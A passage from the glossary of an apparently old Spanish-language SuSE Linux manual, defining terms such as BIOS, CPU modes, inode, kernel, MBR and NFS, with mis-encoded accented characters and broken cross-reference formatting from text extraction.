  31706.                                  interfaz tienen una amplia difusi≤n (+  Lector CD-ROM), pero ya hay tam-
  31707.                                  biΘn unidades ZIP, streamer y disqueteras que incorporan la interfaz AT-
  31708.                                  API. Linux soporta todos estos dispositivos.
  31709.  
  31710.                              Backup
  31711.                                  Backup  (Respaldo)  es  el  tΘrmino  inglΘs  que  se  usa  generalmente  para
  31712.                                  hablar de copias de seguridad. Es muy recomendable hacer regularmente
  31713.                                  respaldos de los datos mßs importantes, entre ellos las configuraciones de
  31714.                                  los programas.  Bajo Linux el comando tar    es el mΘtodo principal para
  31715.                                  almacenar datos en un +  Dispositivo.  Muchas veces tar    se combina con
  31716.                                  gzip   .
  31717.  
  31718.                              BIOS (ingl. Basic Input Output System)
  31719.                                  Cada  PC  tiene  una  peque±a  memoria  que  almacena  la  BIOS.  Esta  con-
  31720.                                  tiene programas de inicializaci≤n y de comprobaci≤n para el arranque de
  31721.                                  la  computadora  asφ  como  algunos  drivers  (simples)  para  los  perifΘricos
  31722.                                  principales como teclado,  tarjeta grßfica,  disqueteras,  interfaces y reloj.
  31723.                                  Bajo Linux la BIOS estß desactivada, ya que se apaga durante el arranque
  31724.                                  del kernel cuando el procesador (+  CPU) pasa al ''modo real''. Las rutinas
  31725.                                  del kernel de Linux son mucho mßs potentes.
  31726.  
  31727.                              Boot (ingl. bootstrap = cord≤n de bota)
  31728.                                  +  Arrancar.
  31729.  
  31730.                              B·fer (ingl. buffer)
  31731.                                  Un  b·fer  es  un  tipo  de  memoria  intermedia,  que  permite  acelerar  los
  31732.                                  accesos repetidos a los datos que se encuentran en Θl.  Linux trabaja con
  31733.                                  muchos tipos de b·feres.
  31734.  
  31735.                              CD-ROM (ingl. CD-ROM Drive)
  31736.                                  +  Lector CD-ROM.
  31737.  
  31738.                              Comodines (ingl. wildcards)
  31739.                                  VΘase +  Wildcards.
  31740.  
  31741.                              Consola (ingl. console, terminal)
  31742.                                  Antes  era  equivalente  a  un  terminal.   Bajo  Linux  existen  consolas  vir-
  31743.                                  tuales  que  permiten  usar  un  monitor  para  varias  sesiones  independi-
  31744.                                  entes,  pero  simultßneas  (ver  apartado  19.4  en  la  pßgina  471Consolas
  31745.                                  virtualessection.19.4).   Por  defecto  (+  Runlevel  2)  tiene  6  consolas_ vir-
  31746.                                  tuales a su disposici≤n, a las que se puede acceder con las teclas |A____l|t+
  31747.                                  |____|F1hasta |A_____|lt+ |F___|_6.
  31748.  
  31749.                                  Desde el sistema X Window,_que usa_la_consola_7,_se accede_a_las_consolas___       ___
  31750.                                  de texto mediante |C______|trl+ |A____l|t+ |F___|1hasta |C______|trl+ |A____l|t+ |F___|6.
  31751.  
  31752.                              CPU (ingl. Central Processing Unit)
  31753.                                  El procesador de la computadora.  Los procesadores de Intel de la serie
  31754.                                  x86 se pueden usar en modos de operaci≤n diferentes. Hay que distinguir
  31755.                                  especialmente entre los dos modos siguientes:
  31756.  
  31757.                                  o   real  Mode:  El  modo  de  operaci≤n  original.  Es  lento  y  solo  permite
  31758.                                      aplicaciones  anticuadas  (''software  de  16  bit'').   Este  modo  de  op-
  31759.                                      eraci≤n  no  conoce  zonas  o  comandos  protegidos  y  el  tama±o  de  los
  31760.                                      segmentos estß reducido a 64K. La computadora se inicia en este mo-
  31761.                                      do de operaci≤n cuando se enciende o cuando se resetea +  Resetear.
  31762.  
  31763.  
  31764. 496
  31765.      _________________________________________________________________________________________________________________B.__Glosario_*
  31766.  *____________________
  31767.  
  31768.  
  31769.  
  31770.     o   protected  Mode:  (a  partir  de  286)  Modo  de  operaci≤n  protegido  en
  31771.         el cual se distinguen diferentes estados de privilegio.  Solo cuando el
  31772.         procesador estß en el ''bucle 0'' todas las operaciones estßn permitidas
  31773.         (allφ  se  encuentra  el  kernel  de  Linux),  mientras  que  las  aplicaciones
  31774.         (tambiΘn  las  del  superusuario)  trabajan  en  el  ''bucle  3''  (privilegios
  31775.         mφnimos).   Ademßs,  los  procesadores  a  partir  del  386  permiten  seg-
  31776.         mentos que cubren todo el rango de memoria, lo que permite el acceso
  31777.         lineal a la memoria (Flatmodel).  Linux usa el procesador exclusiva-
  31778.         mente en el ''modo protegido'' del 386 (o superiores), que es el modo
  31779.         que aprovecha toda la potencia de la CPU.
  31780.  
  31781.     Linux existe actualmente para las siguientes arquitecturas: Intel x86, DEC
  31782.     alpha, Motorola m68k, Sparc, PowerPC, MIPS y ARM.
  31783.  
  31784. Cursor
  31785.     El cursor es generalmente un peque±o bloque o una ralla,  que marca el
  31786.     lugar de introducci≤n de caracteres. Bajo Linux este tΘrmino se encuentra
  31787.     en relaci≤n con:
  31788.  
  31789.     o   Shell/Editor:  Lugar  marcado  por  un  cuadro  o  una  ralla  intermitente
  31790.         que indica el lugar en el que se introducen los caracteres a travΘs del
  31791.         teclado.  En el caso de la shell, el cursor se encuentra en la izquierda
  31792.         por detrßs del +  Prompt.
  31793.  
  31794.     o   Cursor del mouse en el sistema X Window:  Se trata de la flecha que
  31795.         indica la posici≤n del mouse y cuyo aspecto se cambia seg·n el fondo.
  31796.         Por ejemplo, es una flecha sobre un xterm, tiene forma de ''X'' sobre el
  31797.         fondo y forma de ''I'' sobre la ventana de un +  Editor.
  31798.  
  31799.     o   GPM-Cursor  (Consola):  Un  bloque  del  tama±o  de  una  letra,  que  se
  31800.         puede  posicionar  en  la  +  Consola  mediante  movimientos  del  mouse
  31801.         para  hacer  Cut  &  Paste  (+  Selecci≤n);  funciona  gracias  al  programa
  31802.         gpm .
  31803.  
  31804.  
  31805. Daemon
  31806.     Un daemon (ingl. Dist and execution monitor) es un programa que ''estß
  31807.     de  guardia''  en  el  fondo  y  que  toma  acci≤n  en  el  momento  necesario.
  31808.     Daemons  responden  p. ej.a  las  peticiones  de  FTP  o  HTTP  tal  como  se
  31809.     encargan de la actividad en las ranuras PCMCIA.
  31810.  
  31811. Densidad de inodes
  31812.     La  densidad  de  inode  se  selecciona  de  acuerdo  al  tama±o  promedio  de
  31813.     fichero  que  se  espera  en  una  determinada  partici≤n.   Por  lo  general  los
  31814.     valores previstos por YaST garantizan un uso efectivo de la partici≤n y no
  31815.     se precisa ninguna modificaci≤n.
  31816.  
  31817.     Se trata de algo que suele provocar confusi≤n entre los principiantes en
  31818.     materia de Linux, ya que la densidad es alta cuando el tama±o del inode
  31819.     es peque±o, por tanto caben mßs inodes dentro de la partici≤n.
  31820.  
  31821. Device (ingl. wildcards)
  31822.     VΘase +  Dispositivo.
  31823.  
  31824. Direcci≤n-IP
  31825.     Direcci≤n  numΘrica  de  32  bit,  que  estß  asignada  exclusivamente  a  una
  31826.  
  31827.  
  31828.                                                                                                                                    *
  31829.  * 497
  31830. B.  Glosario      _________________________________________________________________________________________________________________*
  31831.  *_______________________________________@
  31832.  
  31833.  
  31834.  
  31835.                                  computadora;  se  anota  generalmente  en  cuatro  valores  decimales  sepa-
  31836.                                  rados  por  puntos  (p. ej.  192.168.10.1).   Cuando  una  computadora  tiene
  31837.                                  varias conexiones de red (pasarela), tambiΘn tiene varias direcciones IP.
  31838.  
  31839.                              Directorio (ingl. directory)
  31840.                                  Los ''directorios'' forman la estructura del +  Sistema de ficheros. El direc-
  31841.                                  torio contiene nombres de ficheros y de los sub-directorios.  Como cada
  31842.                                  directorio puede contener subdirectorios es posible formar la estructura
  31843.                                  de un ßrbol de directorios.  Para ver el contenido de un determinada di-
  31844.                                  rectorio  se  puede  cambiar  hacia  Θste,  lo  cual  es  equivalente  a  bajar  un
  31845.                                  nivel en el ßrbol de directorios. Los ficheros son como hojas del ßrbol, ya
  31846.                                  que es allφ donde se termina la posibilidad de bifurcar.  Los nombres de
  31847.                                  los directorios tienen las mismas restricciones de los nombres de ficheros.
  31848.                                  Los ''nombres'' especiales `.' y `..' simbolizan el directorio en sφ y su
  31849.                                  antecesor en la jerarquφa del sistema de ficheros respectivamente.
  31850.  
  31851.                              Directorio de usuario (ingl. home directory)
  31852.                                  El  directorio  de  usuario  (directorio  ''home'')  es  el  punto  de  partida  de
  31853.                                  la  mayorφa  de  actividades  del  usuario.  Aquφ  es  donde  el  usuario  puede
  31854.                                  almacenar sus datos privados y aparte del +  Administrador de sistema, Θl
  31855.                                  es el ·nico que tiene permiso de escribir en este directorio.  La ubicaci≤n
  31856.                                  del  directorio  de  usuario  se  fija  bajo  Unix  en  la  +  Variable  de  entorno
  31857.                                  HOME. El sφmbolo para el directorio de usuario es ` '  (ver apartado 19.6
  31858.                                  en la pßgina 472Trabajar con directoriossection.19.6)  .
  31859.  
  31860.                              Directorio raφz (ingl. root directory)
  31861.                                  Es el directorio principal de un +  Sistema de ficheros.  En comparaci≤n a
  31862.                                  los demßs directorios de un sistema de ficheros, el directorio raφz no tiene
  31863.                                  ning·n  directorio  superior.   La  entrada  `..'   del  directorio  raφz  apunta
  31864.                                  hacia  sφ  mismo.   Bajo  Unix  el  directorio  raφz  estß  representado  por  el
  31865.                                  sφmbolo `/'.
  31866.  
  31867.                              Dispositivo (ingl. Device)
  31868.                                  Bajo Linux se efect·a el acceso a los dispositivos a travΘs de unas entradas
  31869.                                  especiales  en  el  sistema  de  ficheros.   Estas  entradas  se  encuentran  en
  31870.                                  /dev/  y  contienen  los  n·meros  de  dispositivo  con  los  que  el  +  Kernel
  31871.                                  puede acceder a los drivers de los dispositivos.
  31872.  
  31873.                              Editor
  31874.                                  Los  editores  son  programas  que  permiten  modificar  los  datos  intro-
  31875.                                  duciendo  p. ej.  texto.   Algunos  editores  conocidos  de  Unix  son  GNU
  31876.                                  Emacs  (emacs     )  o  vi    (ver  apartado  19.15  en  la  pßgina  491El  editor
  31877.                                  visection.19.15)  . Si a·n no conoce ninguno de estos editores, comience
  31878.                                  primero con joe , ya que Θste es compatible con WordStar.
  31879.  
  31880.                              ELF (ingl. Executable and Linking Format)
  31881.                                  ELF es el formato estßndar de los binarios en Linux.  En comparaci≤n al
  31882.                                  antiguo formato a.out     , el nuevo facilita p. ej.  generar ''shared libraries''.
  31883.                                  Para obtener mßs informaci≤n consulte el HowTo en /usr/doc/howto/
  31884.                                  en/ELF-HOWTO.gz.
  31885.  
  31886.                              E-Mail (ingl. electronic mail)
  31887.                                  Proceso de distribuci≤n de mensajes electr≤nicos entre usuarios dados de
  31888.  
  31889.  
  31890. 498
  31891.      _________________________________________________________________________________________________________________B.__Glosario_*
  31892.  *____________________
  31893.  
  31894.  
  31895.  
  31896.     alta en una red de computadoras.  Al igual que en el correo normal con
  31897.     sobre  y  papel  (denominado  muchas  veces  (ingl.  snail  mail))  es  preciso
  31898.     indicar la direcci≤n del destinatario; esto se hace con su direcci≤n de E-
  31899.     Mail. Junto con el texto de los E-Mail se puede mandar tambiΘn imßgenes
  31900.     y sonidos. La ventaja del E-Mail son la rapidez y el bajo coste.
  31901.  
  31902. Encriptaci≤n (ingl. encryption)
  31903.     Encriptar  datos  significa  esconderlos  frente  a  terceros.   Se  trata  de  una
  31904.     buena medida cuando los datos se envφan a travΘs de conexiones inseguras
  31905.     (p. ej. vφa Internet) y terceras personas no los deberφan poder leer (p. ej. en
  31906.     caso de transmitir n·meros de tarjetas de crΘdito, contrase±as o cualquier
  31907.     otra informaci≤n confidencial).  La longitud de la clave que se usa para
  31908.     encriptar determina el nivel de seguridad (existen programas que pueden
  31909.     romper claves demasiado cortas) ; ver capφtulo 18 en la pßgina 451Seguri-
  31910.     dad y Confianzachapter.18 ff.
  31911.  
  31912.     En determinados paises existen restricciones en cuanto a la encriptaci≤n
  31913.     de datos por lo que es posible que se prohiba el uso de programas como
  31914.     SSH , PGP  o accesos a webs mediante SSL  o que el uso de estos progra-
  31915.     mas se restrinja a claves cortas.
  31916.  
  31917.     Aunque SuSE     ofrezca estos programas en la distribuci≤n (de acuerdo con
  31918.     la ley vigente), la responsabilidad de averiguar si se permite su uso en su
  31919.     paφs recae sobre Usted (el usuario) ~ SuSE     no se responsabiliza de ello.
  31920.  
  31921. Enlace (ingl. link)
  31922.     Un enlace es una entrada en el directorio que apunta a otro fichero por lo
  31923.     que el enlace mismo no contiene datos. Se diferencia entre:
  31924.  
  31925.     o   Enlaces simb≤licos, que contienen referencias de nombres. No importa
  31926.         si el objeto de destino existe o no, y tampoco importa si se trata de un
  31927.         directorio en lugar de un fichero o que se encuentre en otro sistema de
  31928.         ficheros.
  31929.  
  31930.     o   Enlaces ''duros'' (hardlinks), que contienen una referencia a un inode.
  31931.         Un enlace duro tiene que apuntar a un objeto sobre el mismo sistema
  31932.         de ficheros y el destino no puede ser un directorio.  Ademßs todos los
  31933.         enlaces duros a un inode son de igual importancia, por lo que los datos
  31934.         de un fichero se mantienen hasta que se borre el ·ltimo enlace duro.
  31935.  
  31936. Entorno (ingl. environment)
  31937.     La +   Shell proporciona normalmente un entorno que permite al usuario
  31938.     hacer  definiciones  temporales.   Estas  definiciones  son  p. ej.  las  ramas
  31939.     hacia determinados programas, el nombre de usuario, la rama actual, la
  31940.     apariencia del ''prompt'', etc. Estos datos se almacenen en +  Variables de
  31941.     entorno.  Normalmente son los ficheros de configuraci≤n de la Shell los
  31942.     que se ocupan de definir las variables de entorno.
  31943.  
  31944. Entorno grßfico de usuario (ingl. graphical user interface, GUI)
  31945.     Las  superficies  grßficas  de  usuario  pretenden  simular  el  escritorio  del
  31946.     usuario (ingl. graphical / electronic desktop). La pantalla que debe operar
  31947.     en modo grßfico representa el escritorio (ingl. desktop) sobre el cual se
  31948.     colocan  las  +  Ventanas.   Dentro  de  las  ventanas  se  ejecutan  diferentes
  31949.     procesos. Para usar el entorno grßfico se necesita normalmente un mouse,
  31950.  
  31951.  
  31952.                                                                                                                                    *
  31953.  * 499
  31954. B.  Glosario      _________________________________________________________________________________________________________________*
  31955.  *_______________________________________@
  31956.  
  31957.  
  31958.  
  31959.                                  trackball  o  algo  similar.   GUIs  conocidos  son  el  +  X  Window  System,
  31960.                                  Apple Macintosh  System 7, Digital Research  GEM  y MS-Windows .
  31961.  
  31962.                              Ethernet
  31963.                                  Hardware de red de amplia difusi≤n para +  LANs con estructura de bus.
  31964.                                  Originalmente trabajaba con 10 Mbit/s a travΘs de cable coaxial, pero hoy
  31965.                                  en dφa se usan tambiΘn redes con pares de cables trenzados (ingl. twisted
  31966.                                  pair) con velocidades que alcanzan los 100 Mbit/s y en arquitectura de
  31967.                                  estrella.
  31968.  
  31969.                              EXT2 (ingl. second extended Filesystem)
  31970.                                  Es  el  sistema  de  ficheros  estßndar  de  Linux.  Se  caracteriza  por  su  alto
  31971.                                  rendimiento, los nombres de ficheros largos, los derechos de acceso y la
  31972.                                  tolerancia a fallos.
  31973.  
  31974.                              Fichero (ingl. file)
  31975.                                  Bajo Linux cualquier informaci≤n se intercambia vφa ficheros.  Estos sir-
  31976.                                  ven, como en otros sistemas operativos, sobre todo para almacenar datos
  31977.                                  en medios de almacenamiento. El nombre del fichero debe ser ·nico den-
  31978.                                  tro del directorio en el cual se encuentra. El +  Sistema de ficheros permite
  31979.                                  estructurar los ficheros en una jerarquφa de directorios.
  31980.  
  31981.                                  Adicionalmente, Linux conoce otros ficheros que tienen un fin especial.
  31982.                                  Para obtener mßs informaci≤n consulte las explicaciones sobre +  Enlace,
  31983.                                  +  Device y +  Proc.
  31984.  
  31985.                              Foco (ingl. focus)
  31986.                                  Un determinado elemento en la pantalla, p. ej.   la lφnea de entrada de un
  31987.                                  +  Terminal,  estß  en  el  foco  cuando  Θste  recibe  las  se±ales  del  teclado.
  31988.                                  Normalmente el foco estß vinculado a la posici≤n del +  Cursor. La forma
  31989.                                  de gestionarlo se denomina ''polφtica de foco'' ((ingl. focus policy)).  Se
  31990.                                  distingue entre el foco que sigue siempre la posici≤n del mouse y el foco
  31991.                                  que solo pasa a una determinada ventana cuando Θsta es seleccionada.
  31992.  
  31993.                              FTP (ingl. file transfer protocol)
  31994.                                  FTP es para UNIX  el mΘtodo de transferencia de ficheros de una com-
  31995.                                  putadora a otra.  En este proceso estßn involucrados el servidor FTP  (la
  31996.                                  computadora que proporciona los datos) y el cliente FTP  (la computadora
  31997.                                  que pide los datos).
  31998.  
  31999.                              Gestor de ventanas (ingl. window manager)
  32000.                                  Bajo el +  X Window System se necesita un gestor para la manipulaci≤n de
  32001.                                  las +  Ventanas, p. ej.  para abrir, cerrar o mover las mismas asφ como para
  32002.                                  ''iconizarlas''. Normalmente los gestores de ventana incorporan funciones
  32003.                                  adicionales como barras de herramientas, que contienen iconos para ini-
  32004.                                  ciar determinadas aplicaciones.
  32005.  
  32006.                              GNU
  32007.                                  GNU  significa  GNU  is  Not  Unix  y  es  un  proyecto  de  la  Free  Software
  32008.                                  Foundation  (FSF) .  El  objeto  del  ''Proyecto  GNU'',  que  estß  muy  vin-
  32009.                                  culado  a  la  persona  de  Richard  Stallman  (RMS   ),  es  la  creaci≤n  de
  32010.                                  un  sistema  operativo  ''libre'',  compatible  con  Unix.   ''Libre''  no  se  re-
  32011.                                  fiere  tanto  a  ''libre  de  costes'',  pero  sφ  a  la  libertad  en  cuanto  al  dere-
  32012.                                  cho de acceso,  modificaci≤n y uso de los programas.  Para que el c≤di-
  32013.  
  32014.  
  32015. 500
  32016.      _________________________________________________________________________________________________________________B.__Glosario_*
  32017.  *____________________
  32018.  
  32019.  
  32020.  
  32021.     go  fuente  (ingl.  source)  se  mantenga  libre,  cualquier  modificaci≤n  en
  32022.     Θl  tambiΘn  debe  serlo.  La  forma  para  asegurar  esto  se  manifiesta  en  el
  32023.     documento http://www.gnu.org/gnu/manifesto.html y se respal-
  32024.     da jurφdicamente mediante la licencia ''GPL'' en http://www.gnu.org/
  32025.     copyleft/gpl.html (ver anexo G en la pßgina 533La licencia p·blica
  32026.     general  GNU  (GPL)appendix.G)  o  la  licencia  LGPL  en  http://www.
  32027.     gnu.org/copyleft/lgpl.html.
  32028.  
  32029.     Dentro  del  ßmbito  del  proyecto  GNU  todas  las  utilidades  de  Unix  se
  32030.     desarrollan  de  nuevo,  a±adiendo  mßs  funcionalidades.   Otra  parte  del
  32031.     proyecto hace el software mßs complejo como p. ej.  Emacs  o la librerφa
  32032.     glibc .
  32033.  
  32034.     El kernel de +  Linux, con licencia seg·n la GPL, saca provecho de este
  32035.     proyecto (especialmente por las herramientas), pero no es equivalente al
  32036.     proyecto GNU.
  32037.  
  32038. Host
  32039.     +  Anfitri≤n.
  32040.  
  32041. Inode
  32042.     El  sistema  de  ficheros  +  EXT2  administra  la  informaci≤n  sobre  los
  32043.     ficheros en el disco duro mediante ''inodes''.  Los inodes contienen ~ en-
  32044.     tre otras ~ informaciones sobre el propietario de un fichero, los derechos
  32045.     otorgados, la fecha del ·ltimo cambio, etc.
  32046.  
  32047. Interfaz (ingl. interface)
  32048.     La interfaz es el sitio a travΘs del cual diferentes sistemas intercambian
  32049.     informaci≤n.  Una interfaz puede ser p. ej.   el teclado,  ya que es por allφ
  32050.     por  donde  la  computadora  y  el  ser  humano  intercambian  informaci≤n
  32051.     (ingl. Man Machine Interface).  Esta formulaci≤n es muy abstracta, mßs
  32052.     concretamente se pueden distinguir las siguientes interfaces:
  32053.  
  32054.     o   Interfaz de hardware:  A travΘs de Θsta se conectan p. ej.   perifΘricos;
  32055.         un ejemplo es el puerto paralelo, el puerto serie o el conector SCSI.
  32056.  
  32057.     o   Interfaz de software: Esta interfaz determina el modo en que diferentes
  32058.         programas deben intercomunicarse (ver tambiΘn +  Protocolo).
  32059.  
  32060.     o   Interfaz de usuario:  Aquφ es donde el ser humano y la mßquina inter-
  32061.         cambian datos. Ejemplos: el mouse, el monitor y el teclado.
  32062.  
  32063.  
  32064. Internet
  32065.     Internet  es  una  +  Red  mundial,  compuesta  por  computadoras  de  mu-
  32066.     chos  tipos.   Las  computadoras  se  identifican  en  Internet  mediante  sus
  32067.     +  Direcci≤n-IP  (IP  =  internet  protocol);  estas  son  ·nicas  en  el  mundo.
  32068.     Las direcciones se clasifican en direcciones nacionales, de dominio y de
  32069.     sub-dominio tal como de computadora. Aparte de la direcci≤n IP numΘri-
  32070.     ca existen ''alias'' (p. ej.  sol.cosmos.univ), que facilitan a los usuarios
  32071.     memorizar la direcci≤n.  Internet no solo funciona gracias al Hardware,
  32072.     sino  tambiΘn  a  una  serie  de  +  Protocolos,  p. ej.  ftp,  http,  tcp,  etc.,  que
  32073.     act·an en diferentes niveles l≤gicos.  Los servicios conocidos de Internet
  32074.     son p. ej.  +  E-Mail o el World Wide WEB (WWW o W3).  Algo impor-
  32075.     tante respecto a Internet es la ''Netiquette'' (la etiqueta en Internet), que
  32076.  
  32077.  
  32078.                                                                                                                                    *
  32079.  * 501
  32080. B.  Glosario      _________________________________________________________________________________________________________________*
  32081.  *_______________________________________@
  32082.  
  32083.  
  32084.  
  32085.                                  regula el buen comportamiento, necesario para una correcta convivencia
  32086.                                  en la red, en una especie de ''c≤digo de honor''.
  32087.  
  32088.                              ISP (ingl. Internet Service Provider)
  32089.                                  Proveedor de servicios de Internet.
  32090.  
  32091.                              Kernel
  32092.                                  El kernel es el n·cleo; es el ''coraz≤n'' de todo el sistema.  Allφ es donde
  32093.                                  se  reunen  todas  las  funciones:  la  gesti≤n  de  la  memoria,  el  manejo  de
  32094.                                  la tabla de procesos, la administraci≤n de la multitarea, de la capacidad
  32095.                                  de multiusuario,  de los sistemas de ficheros y de los accesos a ellos,  la
  32096.                                  gesti≤n  de  los  drivers,  etc.   Algunas  de  estas  caracterφsticas  se  pueden
  32097.                                  realizar  en  forma  de  m≤dulos   ;  ver  el  capφtulo  13  en  la  pßgina  349El
  32098.                                  kernelchapter.13  .
  32099.  
  32100.                              LAN (ingl. local area network)
  32101.                                  Es una +  Red de ßrea local gestionada por un +  Administrador de sistema.
  32102.                                  Las LANs se conectan normalmente a travΘs de pasarelas (ingl. gateway)
  32103.                                  a otras redes y forman asφ una +  WAN.
  32104.  
  32105.                              Lφnea de comandos
  32106.                                  Bajo Unix se puede trabajar mucho con la lφnea de comandos.  Cualquier
  32107.                                  programa que se inicie desde la lφnea de comandos de la +   Shell puede
  32108.                                  tener opciones, como p. ej.  el comando ls  , cuyas opciones permiten mod-
  32109.                                  ificar la cantidad de informaci≤n que se indica en pantalla.
  32110.  
  32111.                              Linux
  32112.                                  N·cleo de sistema operativo de alto rendimiento, libre seg·n la licencia
  32113.                                  +  GNU. El nombre Linux es un +  Acr≤nimo formado de ''Linus' uniX'')
  32114.                                  por el creador Linus Torvalds.
  32115.  
  32116.                              Linux originario
  32117.                                  Durante el proceso de instalaci≤n se inicia primero un ''Linux originario''.
  32118.                                  Este sistema es capaz de trabajar sin disco duro, ya que a·n no es posi-
  32119.                                  ble acceder a Θl.  El kernel usado proviene directamente de disquete de
  32120.                                  arranque o del CD-ROM. La imagen del directorio ''root'' se carga junto
  32121.                                  con otros programas (p. ej.  YaST ) a un ''RAM-Disk''.
  32122.                                  DespuΘs de la primera entrada al sistema, YaST  se inicia y la instalaci≤n
  32123.                                  del Linux verdadero comienza.
  32124.  
  32125.                              Lector CD-ROM (ingl. CD-ROM Drive)
  32126.                                  Hay  diferentes  tipos  de  lectores  CD-ROM.  Los  mßs  difundidos  son  los
  32127.                                  lectores  del  tipo  +  ATAPI,  que  se  conectan  a  una  controladora  (E)IDE.
  32128.                                  Aparte de estos hay tambiΘn
  32129.  
  32130.                                  o   Lectores CD-ROM tipo SCSI, que se conectan a una controladora SC-
  32131.                                      SI.
  32132.  
  32133.                                  o   Lectores CD-ROM que se conectan al puerto paralelo.
  32134.  
  32135.                                  o   Lectores CD-ROM especiales, que se conectan a una controladora es-
  32136.                                      pecial o a una tarjeta de sonido.
  32137.  
  32138.                                  íSolo para los dos ·ltimos hace falta seleccionar drivers especiales!
  32139.  
  32140.                              Manual-Page
  32141.                                  Normalmente  la  documentaci≤n  de  los  sistemas  Unix  se  encuentra  en
  32142.  
  32143.  
  32144. 502
  32145.      _________________________________________________________________________________________________________________B.__Glosario_*
  32146.  *____________________
  32147.  
  32148.  
  32149.  
  32150.     forma  de  ''Manual-Pages''  o  ''MAnpages''  (pßginas  de  manual),  que
  32151.     se  pueden  visualizar  con  el  comando  man   .         Respecto  al  uso  de
  32152.     las  Manual-Pages,  consulte  el  apartado  19.9  en  la  pßgina  480Manual-
  32153.     Pagessection.19.9.
  32154.  
  32155. MBR (ingl. master boot record)
  32156.     Es el primer sector fφsico (cilindro 0, cabezal 0, sector 0) de un disco duro
  32157.     de la computadora.  Cada disco duro lleva un MBR, pero no todas las +
  32158.     BIOS pueden arrancar cualquier sistema operativo desde cualquier disco.
  32159.     Arrancando desde el disco duro, la BIOS carga el contenido del MBR a
  32160.     una direcci≤n fija de la memoria y pasa el control al peque±o programa
  32161.     cargado  desde  el  MBR.  Este  carga  entonces  el  sistema  operativo  desde
  32162.     una partici≤n del disco duro o desde un ''bootloader'' mßs complejo, como
  32163.     p. ej.  LILO .
  32164.  
  32165. Medio de almacenamiento
  32166.     Un tΘrmino genΘrico para soportes de datos de tipos muy variados.
  32167.  
  32168.     Medios de almacenamiento tφpicos son los disquetes, discos duros, cintas,
  32169.     CD-ROMs, discos magneto-≤pticos, memorias hologrßficas, etc.
  32170.  
  32171. Memoria
  32172.     En cuanto a la memoria, se habla a veces de la memoria de trabajo o de la
  32173.     memoria principal (ingl. main memory).  En el caso de Linux se habla de
  32174.     dos tipos diferentes de memoria:
  32175.  
  32176.     o   Memoria  fφsica:  Esta  es  la  memoria  que  se  encuentra  en  forma  de
  32177.         chips tipo RAM en la computadora.  Tφpicamente se usan actualmente
  32178.         64 MB hasta 256 MB de memoria.  El acceso a la memoria +  RAM es
  32179.         muy rßpido.
  32180.  
  32181.     o   Memoria virtual:  Gracias al concepto de la memoria virtual, la com-
  32182.         putadora puede entender ciertas zonas marcadas del disco duro como
  32183.         memoria de trabajo (+  Swap).
  32184.  
  32185.  
  32186. Memoria RAM (ingl. memory)
  32187.     +  Memoria.
  32188.  
  32189. Men· (ingl. menu)
  32190.     La  mayorφa  de  las  funciones  de  un  programa  que  se  ejecuta  en  un  en-
  32191.     torno grßfico se puede acceder a travΘs de un men·. Los men·s presentan
  32192.     (como la carta en un restaurante) los comandos disponibles en listas de-
  32193.     splegables para que el usuario los pueda seleccionar y ejecutar.  Los pro-
  32194.     gramas ofrecen generalmente una barra de men·s (ingl. menu bar) que
  32195.     contiene sub-menus.  Adicionalmente hay men·s del tipo ''Popup'',  que
  32196.     aparecen sobre el fondo apretando un bot≤n del mouse.
  32197.  
  32198. MIME
  32199.     ''Multipurpose Internet Mail Extensions'' ~ en principio se plante≤ para
  32200.     ampliar la posibilidades de E-Mail(p. ej. con sonido o imßgenes), pero se
  32201.     puede usar este estßndar tambiΘn en otras ocasiones.
  32202.  
  32203. Montar (ingl. mount)
  32204.     Es  el  tΘrmino  usado  en  Unix  para  incorporar  un  sistema  de  ficheros  en
  32205.  
  32206.  
  32207.                                                                                                                                    *
  32208.  * 503
  32209. B.  Glosario      _________________________________________________________________________________________________________________*
  32210.  *_______________________________________@
  32211.  
  32212.  
  32213.  
  32214.                                  el ßrbol de directorios del sistema.  Como +  Punto de anclaje sirve nor-
  32215.                                  malmente un directorio vacφo  (ver tambiΘn apartado 19.11.2 en la pßgi-
  32216.                                  na 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2)
  32217.                                  .
  32218.  
  32219.                              Mountpoint
  32220.                                  +  Punto de anclaje.
  32221.  
  32222.                              Multiprocesador
  32223.                                  Cuando  una  computadora  incorpora  mßs  de  una  +  CPU  se  habla  de  un
  32224.                                  sistema multiprocesador. En relaci≤n a Linux se escucha muchas veces la
  32225.                                  abreviaci≤n SMP (Symmetric Multi Processing) que representa una forma
  32226.                                  especial de trabajar con m·ltiples procesadores.
  32227.  
  32228.                              Multitarea (ingl. multitasking)
  32229.                                  Los  sistemas  operativos  capaces  de  ejecutar  mßs  de  un  +  Programa  si-
  32230.                                  multßneamente se denominan sistemas operativos de multitarea. Se difer-
  32231.                                  encia entre dos formas distintas de multitarea:
  32232.  
  32233.                                  o   Multitarea concurrente:  El sistema operativo se encarga de distribuir
  32234.                                      el tiempo de cßlculo entre los distintos procesos.  Una forma especial
  32235.                                      es la multitarea ''preemptiva''.
  32236.  
  32237.                                  o   Multitarea cooperativa: Los procesos ''ceden'' su tiempo de cßlculo por
  32238.                                      sφ mismos.
  32239.  
  32240.                                  Se puede notar que la primera opci≤n es mejor, ya que ning·n proceso de
  32241.                                  usuario puede ocupar la CPU completamente. Linux ofrece la posibilidad
  32242.                                  de trabajar con multitarea preemptiva.
  32243.  
  32244.                              Multiusuario
  32245.                                  El funcionamiento de +  Multitarea es el requisito para el trabajo simul-
  32246.                                  taneo de varios usuarios en una sola computadora.  Un sistema operativo
  32247.                                  que ofrece la posibilidad de trabajar con varios usuarios al mismo instante
  32248.                                  se denomina sistema operativo multiusuario; Linux es multiusuario.
  32249.  
  32250.                              NFS (ingl. network file system)
  32251.                                  Protocolo para acceder a sistemas de ficheros de computadoras en red. En
  32252.                                  el servidor se define mediante el fichero de configuraci≤n /etc/exports
  32253.                                  cußles computadoras tienen acceso a cußl parte del ßrbol de directorios
  32254.                                  del servidor.  Asφ el cliente puede montar estos directorios en su ßrbol de
  32255.                                  directorios. (ver +  Montar).
  32256.  
  32257.                              Nivel de ejecuci≤n
  32258.                                  +  Runlevel.
  32259.  
  32260.                              Opciones
  32261.                                  Mediante  las  opciones  (en  inglΘs  se  denominan  a  veces  ''switches'')  el
  32262.                                  usuario  puede  influir  en  el  comportamiento  estßndar  de  programas.  En
  32263.                                  la +  lφnea de comandos se indica el programa a iniciar junto con las op-
  32264.                                  ciones.
  32265.  
  32266.                              PC (ingl. personal computer)
  32267.                                  Se denomina asφ a una computadora ''personal'' de tama±o reducido, en
  32268.                                  comparaci≤n a las computadoras gigantes y centralizadas. Desde los a±os
